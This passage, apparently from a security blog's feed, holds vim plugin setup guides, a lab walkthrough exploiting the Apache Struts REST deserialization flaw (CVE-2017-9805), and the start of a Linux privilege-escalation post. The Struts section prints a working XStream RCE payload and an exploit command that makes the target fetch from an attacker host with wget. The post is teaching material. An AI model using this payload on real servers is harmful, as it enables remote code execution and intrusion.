&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; let mapleader = &quot;/&quot; 
 autocmd FileType ruby map &amp;lt;Leader&amp;gt;e :call VimuxRunCommand(&quot;clear; ruby &quot; . bufname(&quot;%&quot;))&amp;lt;CR&amp;gt;
 autocmd FileType python map &amp;lt;Leader&amp;gt;e :call VimuxRunCommand(&quot;clear; python &quot; . bufname(&quot;%&quot;))&amp;lt;CR&amp;gt;
 autocmd FileType sh map &amp;lt;Leader&amp;gt;e :call VimuxRunCommand(&quot;clear; bash &quot; . bufname(&quot;%&quot;))&amp;lt;CR&amp;gt;
 autocmd FileType c map &amp;lt;Leader&amp;gt;e :call VimuxRunCommand(&quot;clear; gcc &quot; . bufname(&quot;%&quot;) . &quot; &amp;amp;&amp;amp; ./a.out&quot;)&amp;lt;CR&amp;gt;
 autocmd FileType cpp map &amp;lt;Leader&amp;gt;e :call VimuxRunCommand(&quot;clear; g++ &quot; . bufname(&quot;%&quot;) . &quot; &amp;amp;&amp;amp; ./a.out&quot;)&amp;lt;CR&amp;gt;
 map &amp;lt;Leader&amp;gt;p :VimuxPromptCommand&amp;lt;CR&amp;gt;
 map &amp;lt;Leader&amp;gt;l :VimuxRunLastCommand&amp;lt;CR&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;Usage :&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;To execute file Press &lt;b&gt;&lt;i&gt;/ + e&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;To get CommandPrompt Press &lt;b&gt;&lt;i&gt;/ + p&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;To execute last command Press &lt;b&gt;&lt;i&gt;/ + l&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Note : Always run vim inside tmux sessions otherwise it does not work properly.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/setting-up-vimux-vim-tmux-in-linux.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDO6dbTsoYIgaRbwFtrkRpFjLcDsZ1YyTN1wQORdmTQDJRh7gFcsv9h2tjjaP1O6xHee-MdO9iSv0YzSg4-w5y_z6KkCGyq3Ah2jTBtBAiDzo4yusOL9ml6x4r8KDtUFkYecci5Eh-yGE/s72-c/screenshot_4.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4544943409450743453</guid><pubDate>Sat, 01 Feb 2020 20:55:00 +0000</pubDate><atom:updated>2020-02-26T10:42:24.987-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Linux Tools</category><category domain="http://www.blogger.com/atom/ns#">vim</category><category domain="http://www.blogger.com/atom/ns#">vim-plugin</category><category domain="http://www.blogger.com/atom/ns#">vimrc</category><category domain="http://www.blogger.com/atom/ns#">Web-Server</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>vim plugins installation and some basic .vimrc configuration</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installing plugin manager Pathogen&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCu4tetV14ZZGKXijWe6yo6e1XsXL-xpaPqj-GyygiBv0pqSdFxouRY3KnxdNd6A45fR0FnVc-iNftjEO6udTOo88_wFbGReDncgyp3ZuxIBq-nb-BkOn5LKVsJU-nYXPavyYDCWMA62U/s1600/screenshot_3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;198&quot; data-original-width=&quot;632&quot; height=&quot;100&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCu4tetV14ZZGKXijWe6yo6e1XsXL-xpaPqj-GyygiBv0pqSdFxouRY3KnxdNd6A45fR0FnVc-iNftjEO6udTOo88_wFbGReDncgyp3ZuxIBq-nb-BkOn5LKVsJU-nYXPavyYDCWMA62U/s320/screenshot_3.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Run below commands:&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ mkdir -p ~/.vim/autoload ~/.vim/bundle
 $ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
&lt;/code&gt;&lt;/pre&gt;
Add below lines to &lt;b&gt;&lt;i&gt;~/.vimrc&lt;/i&gt;&lt;/b&gt; file :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; execute pathogen#infect()
 syntax on
 filetype plugin indent on&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installing NERDTREE plugin:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Commands :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cd ~/.vim/bundle
 $ git clone https://github.com/scrooloose/nerdtree.git
&lt;/code&gt;&lt;/pre&gt;
Add below lines to &lt;b&gt;&lt;i&gt;~/.vimrc&lt;/i&gt;&lt;/b&gt; file :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; map &amp;lt;F2&amp;gt; :NERDTree&amp;lt;CR&amp;gt;
 autocmd StdinReadPre * let s:std_in=1
 autocmd VimEnter * if argc() == 0 &amp;amp;&amp;amp; !exists(&quot;s:std_in&quot;) | NERDTree | endif
&lt;/code&gt;&lt;/pre&gt;
To open the NERDTREE pane press F2.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Using language Templates in vim :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Create templates folder on &lt;b&gt;&lt;i&gt;~/.vim&lt;/i&gt;&lt;/b&gt; folder&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ mkdir ~/.vim/templates
 $ cd ~/.vim/templates
&lt;/code&gt;&lt;/pre&gt;
Now create template files on &lt;b&gt;&lt;i&gt;~/.vim/templates/&lt;/i&gt;&lt;/b&gt; directory. Some examples of template files are as follows :&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;b&gt;template.c&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; #include &amp;lt;stdio.h&amp;gt;
 #include &amp;lt;stdlib.h&amp;gt;
 
 int main(int argc, char *argv[]) {
 
     return 0;
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;template.cpp&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; #include &amp;lt;iostream&amp;gt;
 
 int main(int argc, char *argv[]) {
 
     return 0;
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;template.py&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; #!/usr/bin/python
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;template.sh&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; #!/bin/bash
&lt;/code&gt;&lt;/pre&gt;
Now add below lines to &lt;b&gt;&lt;i&gt;~/.vimrc&lt;/i&gt;&lt;/b&gt; file :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; &quot; code for template snippets
 if has(&quot;autocmd&quot;)
   augroup templates
     autocmd BufNewFile *.sh 0r ~/.vim/templates/template.sh
     autocmd BufNewFile *.c 0r ~/.vim/templates/template.c
     autocmd BufNewFile *.cpp 0r ~/.vim/templates/template.cpp
     autocmd BufNewFile *.java 0r ~/.vim/templates/template.java
     autocmd BufNewFile *.php 0r ~/.vim/templates/template.php
     autocmd BufNewFile *.py 0r ~/.vim/templates/template.py
     autocmd BufNewFile *.html 0r ~/.vim/templates/template.html
   augroup END
 endif
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installing Supertab in vim :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Auto-Completion function (sort of...). Commands :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cd ~/.vim/bundle
 $ git clone https://github.com/ervandew/supertab
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installing taglist with bundle&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
It shows all the tags (function, classes, variables ) etc. Steps to install :&lt;br /&gt;
&lt;br /&gt;
Download taglist from : &lt;a href=&quot;http://vim-taglist.sourceforge.net/download.html&quot;&gt;http://vim-taglist.sourceforge.net/download.html&lt;/a&gt;&lt;br /&gt;
Create a folder in &lt;b&gt;&lt;i&gt;~/.vim/bundle/taglist&lt;/i&gt;&lt;/b&gt; and put &lt;b&gt;&lt;i&gt;doc&lt;/i&gt;&lt;/b&gt; and &lt;b&gt;&lt;i&gt;plugin&lt;/i&gt;&lt;/b&gt; folders in it.&lt;br /&gt;
Add below configuration in it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; map &amp;lt;F3&amp;gt; :TlistToggle&amp;lt;CR&amp;gt;
 let Tlist_Use_Right_Window   = 1 
&lt;/code&gt;&lt;/pre&gt;
Now you can start taglist by pressing F3 button and second line of above configuration snippets sets taglist to right side of vim window. If there any message Error message shows like this :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt;  Taglist: Exuberant ctags (http://ctags.sf.net) not found in PATH. Plugin is not loaded.
 Press ENTER or type command to continue
&lt;/code&gt;&lt;/pre&gt;
then you have to install&amp;nbsp;exuberant-ctags package&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt;  sudo apt-get install exuberant-ctags
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/vim-plugins-installation-and-some-basic.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCu4tetV14ZZGKXijWe6yo6e1XsXL-xpaPqj-GyygiBv0pqSdFxouRY3KnxdNd6A45fR0FnVc-iNftjEO6udTOo88_wFbGReDncgyp3ZuxIBq-nb-BkOn5LKVsJU-nYXPavyYDCWMA62U/s72-c/screenshot_3.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4054440783259263624</guid><pubDate>Sat, 01 Feb 2020 20:31:00 +0000</pubDate><atom:updated>2020-02-01T12:31:08.585-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>Exploiting Apache Struts2.5 REST Plugin Vulnerability</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;What is Apache Struts ?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGwO1ssBmCsa9_JtGwZN4zlEwKlazveESzm6l4b9vjT_IqJDH65XivOTXQv1Fcm4c_l4-yGKbiLXty6Q-Hw_9ZmIjVZszK4NkD-hPNLnDT8WLJ838CUW9uJu1_Byu2ZsSROiySpRucuwI/s1600/screenshot_2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;239&quot; data-original-width=&quot;421&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGwO1ssBmCsa9_JtGwZN4zlEwKlazveESzm6l4b9vjT_IqJDH65XivOTXQv1Fcm4c_l4-yGKbiLXty6Q-Hw_9ZmIjVZszK4NkD-hPNLnDT8WLJ838CUW9uJu1_Byu2ZsSROiySpRucuwI/s320/screenshot_2.png&quot; width=&quot;320&quot; style=&quot;display: none;&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Apache Struts is a free, open-source, MVC framework for creating modern Java web applications. It enables the developer to create maintainable, extensible, and flexible web applications based on standard technologies, such as JSP pages, JavaBeans, resource bundles, and XML.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;About the Vulnerability :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The Apache Struts2.5 REST Plugin Vulnerability allow remote code execution on vulnerable server. This particular vulnerability is a result of unsafe de-serialisation in Java Struts REST plugin with the XStream handler when handling XML payloads received with a “Content-Type” set to “application/xml”. The version affected by this vulnerability is Apache Struts 2.5 &amp;lt; 2.5.12. The vulnerability has been assigned CVE-2017–9805 and is rated Critical.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Setting up Lab Environment To Test :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Download Apache Struts 2.5 from here : &lt;a href=&quot;https://repo1.maven.org/maven2/org/apache/struts/struts2-rest-showcase/2.5.10/struts2-rest-showcase-2.5.10.war&quot; target=&quot;_blank&quot;&gt;Download Link&lt;/a&gt;&lt;br /&gt;
Setup Apache tomcat server running on port 8080, and install the above App on it.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Or you can just use&amp;nbsp;BasicPentesting2 VM to test this vulnerability. You can download it from here : &lt;a href=&quot;https://www.vulnhub.com/entry/basic-pentesting-2,241/&quot; target=&quot;_blank&quot;&gt;Download Link&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
URL to access Apache struts App&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://VM_IP_ADDRESS:8080/struts2-rest-showcase-2.5.12/orders/3
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Exploitation :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The vulnerability can be triggered by sending a malicious XML POST payload with the “Content-Type” header set to “application/xml”. The XML Payload is :&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; &amp;lt;map&amp;gt;
   &amp;lt;entry&amp;gt;
     &amp;lt;jdk.nashorn.internal.objects.NativeString&amp;gt;
       &amp;lt;value class=&quot;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&quot;&amp;gt;
         &amp;lt;dataHandler&amp;gt;
           &amp;lt;dataSource class=&quot;com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource&quot;&amp;gt;
             &amp;lt;is class=&quot;javax.crypto.CipherInputStream&quot;&amp;gt;
               &amp;lt;cipher class=&quot;javax.crypto.NullCipher&quot;&amp;gt;
                 &amp;lt;serviceIterator class=&quot;javax.imageio.spi.FilterIterator&quot;&amp;gt;
                   &amp;lt;iter class=&quot;javax.imageio.spi.FilterIterator&quot;&amp;gt;
                     &amp;lt;iter class=&quot;java.util.Collections$EmptyIterator&quot;/&amp;gt;
                     &amp;lt;next class=&quot;java.lang.ProcessBuilder&quot;&amp;gt;
                       &amp;lt;command&amp;gt;
                         &amp;lt;string&amp;gt;os-command-here&amp;lt;/string&amp;gt;
                       &amp;lt;/command&amp;gt;
                     &amp;lt;/next&amp;gt;
                   &amp;lt;/iter&amp;gt;
                   &amp;lt;filter class=&quot;javax.imageio.ImageIO$ContainsFilter&quot;&amp;gt;
                     &amp;lt;method&amp;gt;
                       &amp;lt;class&amp;gt;java.lang.ProcessBuilder&amp;lt;/class&amp;gt;
                       &amp;lt;name&amp;gt;start&amp;lt;/name&amp;gt;
                       &amp;lt;parameter-types/&amp;gt;
                     &amp;lt;/method&amp;gt;
                   &amp;lt;/filter&amp;gt;
                   &amp;lt;next&amp;gt;&amp;lt;/next&amp;gt;
                 &amp;lt;/serviceIterator&amp;gt;
                 &amp;lt;lock/&amp;gt;
               &amp;lt;/cipher&amp;gt;
               &amp;lt;input class=&quot;java.lang.ProcessBuilder$NullInputStream&quot;/&amp;gt;
               &amp;lt;ibuffer/&amp;gt;
             &amp;lt;/is&amp;gt;
           &amp;lt;/dataSource&amp;gt;
         &amp;lt;/dataHandler&amp;gt;
       &amp;lt;/value&amp;gt;
     &amp;lt;/jdk.nashorn.internal.objects.NativeString&amp;gt;
     &amp;lt;jdk.nashorn.internal.objects.NativeString reference=&quot;../jdk.nashorn.internal.objects.NativeString&quot;/&amp;gt;
   &amp;lt;/entry&amp;gt;
 &amp;lt;/map&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Where at line 14, the command is placed.&lt;br /&gt;
&lt;br /&gt;
There is an exploit available from command execution : &lt;a href=&quot;https://www.exploit-db.com/exploits/42627&quot;&gt;https://www.exploit-db.com/exploits/42627&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Testing the vulnerability :&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Attacker System IP : 192.168.56.1&lt;br /&gt;
Target Server IP : 192.168.56.103&lt;br /&gt;
&lt;br /&gt;
We are going to use above python exploit to test the vulnerability :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 &quot;Command to execute&quot;
&lt;/code&gt;&lt;/pre&gt;
Unfortunately the exploit does not return the output of the executed command, so to clarify the command execution we are going to start an HTTP serer on port 1234 and try to call that server through the Apache Struts Server and see the logs if it is called or not.&lt;br /&gt;
&lt;br /&gt;
Start an HTTP Server on port 1234, i am using php interpreter&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; php -S 192.168.56.1:1234
 PHP 7.2.24-0ubuntu0.18.04.1 Development Server started at Fri Dec 27 18:31:57 2019
 Listening on http://192.168.56.1:1234
 Document root is /home/ajay
 Press Ctrl-C to quit.
&lt;/code&gt;&lt;/pre&gt;
Now run the exploit :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 &quot;wget http://192.168.56.1:1234/Vulnerable&quot;
&lt;/code&gt;&lt;/pre&gt;
And our local web server is called by the Apache Struts server, means we can ge remote code execution on the struts server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOO3vc6jyRLbFiEwwMEdw4hvg6ZiNjcPJ8ISYu3g6I-3o9RYyHIGoILxQTIrllRahXjhfArlkc8HgltAChu-OGCre9xwU1J4pkSvI1aEoo5lUBLl2jzquK9Poh0Dep4dY-oW2LQ7C6vTg/s1600/exploitrun.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;508&quot; data-original-width=&quot;873&quot; height=&quot;372&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOO3vc6jyRLbFiEwwMEdw4hvg6ZiNjcPJ8ISYu3g6I-3o9RYyHIGoILxQTIrllRahXjhfArlkc8HgltAChu-OGCre9xwU1J4pkSvI1aEoo5lUBLl2jzquK9Poh0Dep4dY-oW2LQ7C6vTg/s640/exploitrun.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
To get a reverse shell on target server , checkout my BasicPentesting2 writeup : &lt;a href=&quot;http://www.sec-art.net/2020/02/basicpentesting2-vm-walkthrough-from.html&quot; target=&quot;_blank&quot;&gt;Link&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/exploiting-apache-struts25-rest-plugin.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGwO1ssBmCsa9_JtGwZN4zlEwKlazveESzm6l4b9vjT_IqJDH65XivOTXQv1Fcm4c_l4-yGKbiLXty6Q-Hw_9ZmIjVZszK4NkD-hPNLnDT8WLJ838CUW9uJu1_Byu2ZsSROiySpRucuwI/s72-c/screenshot_2.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-5065389019571701570</guid><pubDate>Sat, 01 Feb 2020 20:07:00 +0000</pubDate><atom:updated>2020-02-01T12:17:34.987-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Privilege-Escalation</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Server</category><title>Escalation Privilege on Linux/Unix System by Editing /etc/passwd and /etc/shadow files :</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;etc/passwd file :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1garO5jFPfvCtKRoCSymtCu0W1oc72wU232uvUcn10M24hEDccWItHrlGG_X_pLmtAoS-u0UJ3OVV2OcNGKS_J5wstMcq8IN1-V1pUV558_XZ0RachtDaDBF_O2XWUa5gNKw854jS734/s1600/screenshot_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;248&quot; data-original-width=&quot;468&quot; height=&quot;169&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1garO5jFPfvCtKRoCSymtCu0W1oc72wU232uvUcn10M24hEDccWItHrlGG_X_pLmtAoS-u0UJ3OVV2OcNGKS_J5wstMcq8IN1-V1pUV558_XZ0RachtDaDBF_O2XWUa5gNKw854jS734/s320/screenshot_1.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The &lt;b&gt;&lt;i&gt;/etc/passwd&lt;/i&gt;&lt;/b&gt; file stores essential information, which is required during login i.e. user account information. It is basically a text file that contains the information about each user or account on a computer running Linux or another Unix-like operating system. The permissions for /etc/passwd are by default set so that it is world readable, that is, so that it can be read by any user on the system. Example :&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat /etc/passwd
 
 root:x:0:0:root:/root:/bin/bash
